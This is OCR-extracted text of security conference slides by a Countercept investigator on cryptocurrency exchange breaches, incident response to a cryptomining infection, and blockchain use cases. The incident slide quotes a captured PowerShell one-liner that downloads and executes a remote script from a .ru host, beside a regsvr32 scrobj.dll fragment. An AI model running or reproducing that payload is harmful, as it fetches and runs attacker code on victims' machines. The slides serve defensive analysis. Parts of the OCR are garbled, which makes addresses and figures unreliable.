\
COUNTERCEPT

BUILDING SECURITY BEYOND
THE GENESIS BLOCK



¢ COUNTERCEPT

WHOAMI

DETECTION and RESPONSE Investigator
for Countercept

PURPLE Team Consultant

Offensive Security Certified Professional
(OSCP)

Crest Registered Intrusion Analyst (CRIA)

Blockchain Enthusiast
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AGENDA

Brief History Lesson
Detection and Response in Blockchain

Potential Blockchain Applications and Data
Sources
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HACKS IN

502 2011-2014: Unencrypted wallet keys
Bitstamp  2015: Phishing through email and Skype

BITFINEX ¥ 2016: Multisignature flaw

A8)gatecoin  2016: Smart Contract flaw

b bithumb 2017: Social Engineering

colncheck 2018: Targeted Hot Wallet

2018: API flaw*
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HACKS IN

PAYLOAD DELIVERY 3 OBJECTIVE @

* Macro Document  Phishing Documents * Credentials

Clipboard Stealer Browser Extensions » Hot Wallet Private Keys

Crypto Miner Websites « CPU/GPU Cycles
Smart Contract flaw Smart Contract Exploit « Offchain to Onchain
API Flaw Compromised Credentials/Private Keys transactions

Social Engineering Personal Information
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DETECTION AND
RESPONSE

Threat Hunting
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TYPICAL INCIDENT
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Your SR mBteuent History
Look at _Even_pseenl rates and worker stats

dTMprexz6yQ30VvQ1BbmjkMYmOnMid2QSbiG

Q@ Addre 45bbP2mu1JI'I)BFdStZyPAfCZRsaijcsRVVMZ?TnSqudTmrexze"y&@IBbmjkﬁYmSmid2QSbiGvafau7AtSV18FzQ
M Pendi Balance: 8,663820939590 XMR Mlmng POOl
I Persd Threshold (Editable): <« 0.500 XMR

Once youllisch your threshold, you will get a free auto-payout witHi24 hours

@ Total Paid: 6590.188446270000 XMR

! The following stat®®re only for the base address and not all workers
©® Last Share SubmiAUENGIAEIORe ago
@ Hash Rate: 3.33 MH/sec

& Total Hashes Submitted: 38274200548984 PaVload analVSiS

“"3>>pkecho

Wallet Address

aison -sCt scrobj.dll Report to

Remedia Mining Pool

INS711jEaDRXgwaVedvUMveKAZAIA4J@RcUi29TpKXpm3zKTUY0",

Chain/Wallet Incident closed
Analysis

Sent Payments Powershell.exe “if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains(‘64)){IEX(New-
Object Net.WebClient).DownloadString(i:http://js.5béb7b.ru:8000/a.ps1)}

© Time Sent

08/01/2018, 01:48:44
07/01/2018, 01:47:42
06/01/2018, 01:46:34
85/01/2018, 01:45:41

04/01/2018, 01:44:16

24.8158 5 0.000
27.9581 5 0.000
21.8523 5 0.000
24.7673 5 0.000

24.1817 5 0.000
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TYPICAL TIMELINE
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First Lateral Domain Admin MGMT Hot/Cold Learn Weaponize Achieve
Delivery Movement Compromise Compromise Network Wallets Systems Exit Objective
Compromise Strategy

Payment
Systems
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Potential Applications
and Data Sources



DO | NEED A BLOCKCHAIN?
{

Do you
need to store

Are there
multiple
writers?

state?
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Air system
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Toilet fittings

BHE8

Intelligent lock

Wust and Gervais https://eprint.iacr.org/2017/375.pdf
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Solar electrical energy
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Is public
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Ads light box
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Vending machine
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Permissionless
Blockchain

Public
Permissioned
Blockchain

Private
Permissioned
Blockchain

Don’t use
Blockchain




',_;e PRIVATE BLOCKCHAINS

- |dentity Management

- Data Sanity and Integrity

\ - Operating Systems

’
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BLOCKCHAIN IN

DATA SOURCES

« Chain Analysis

* Threat Intelligence
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CONCLUSION

Security breaches in the Blockchain space happen in the same way as other sectors

Cryptocurrency Exchanges and Retail User Machines are the main targets

Best Data Sources come from Malware Analysis and Chain Analysis

Data Immutability and Decentralization are the main benefits

Tech maturity and Developer shortage are the main drawbacks
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